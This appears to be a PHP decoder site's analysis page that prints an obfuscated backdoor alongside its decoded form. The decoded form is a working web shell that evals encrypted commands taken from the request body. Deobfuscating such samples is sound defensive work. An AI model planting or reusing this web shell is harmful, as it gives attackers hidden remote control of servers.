Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $u='atc#&h("/#&$kh(.+)#&$kf/",@#&f#&ile_get_cont#&e#&nts("#&#&ph#&p://inpu'; $O='d..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="86f8ec02";$kh="a4cb6de51677";$kf="562b84570a89";$p="C7OU1GBwJqXic7Rf";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$u='atc#&h("/#&$kh(.+)#&$kf/",@#&f#&ile_get_cont#&e#&nts("#&#&ph#&p://inpu';
$O='de($m[#&1]),$k)))#&;$o=#&@ob_get_co#&ntents();@#&ob_end#&#&_clean();$r#&=@bas';
$T='$k="86#&#&f8ec0#&2";$kh="a#&4cb6de5#&167#&7";$kf=#&"562b84570a#&#&89#&";';
$n='strlen($t);$o="";f#&or($i=#&0;$i#&<$#&l;){f#&#&or($j=0;($#&j<$c&&$#&i#';
$l='$p="C#&7OU1G#&BwJq#&Xic7Rf";f#&unct#&io#&n x($t,$k#&)#&{$c=str#&len#&($k);$l=';
$t='t#&"),$m)==1){@ob_#&start();@e#&val(#&@#&gzuncompre#&ss(#&@x(#&@b#&ase64_de#&co';
$S='&<$l);#&$j++,$i++){$o.=$t#&{$i#&}^$k{$j}#&;}}return #&$o#&;}i#&f(@preg_m';
$I='e6#&4_#&encode(@#&x(@g#&zc#&ompress($o),$#&k#&#&));print("#&$p$kh$r$kf");}';
$p=str_replace('ks','','kscreksksksate_fuksnctksion');
$d=str_replace('#&','',$T.$l.$n.$S.$u.$t.$O.$I);
$o=$p('',$d);$o();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$I e6#&4_#&encode(@#&x(@g#&zc#&ompress($o),$#&k#&#&));print("#&..
$O de($m[#&1]),$k)))#&;$o=#&@ob_get_co#&ntents();@#&ob_end#&#&_..
$S &<$l);#&$j++,$i++){$o.=$t#&{$i#&}^$k{$j}#&;}}return #&$o#&;}..
$T $k="86#&#&f8ec0#&2";$kh="a#&4cb6de5#&167#&7";$kf=#&"562b8457..
$d $k="86f8ec02";$kh="a4cb6de51677";$kf="562b84570a89";$p="C7OU..
$k 86f8ec02
$l $p="C#&7OU1G#&BwJq#&Xic7Rf";f#&unct#&io#&n x($t,$k#&)#&{$c=s..
$n strlen($t);$o="";f#&or($i=#&0;$i#&<$#&l;){f#&#&or($j=0;($#&j..
$p C7OU1GBwJqXic7Rf
$t t#&"),$m)==1){@ob_#&start();@e#&val(#&@#&gzuncompre#&ss(#&@x..
$u atc#&h("/#&$kh(.+)#&$kf/",@#&f#&ile_get_cont#&e#&nts("#&#&ph..
$kf 562b84570a89
$kh a4cb6de51677

Stats

MD5 ef807435d594e6f25874b842d4a7ea5f
Eval Count 1
Decode Time 89 ms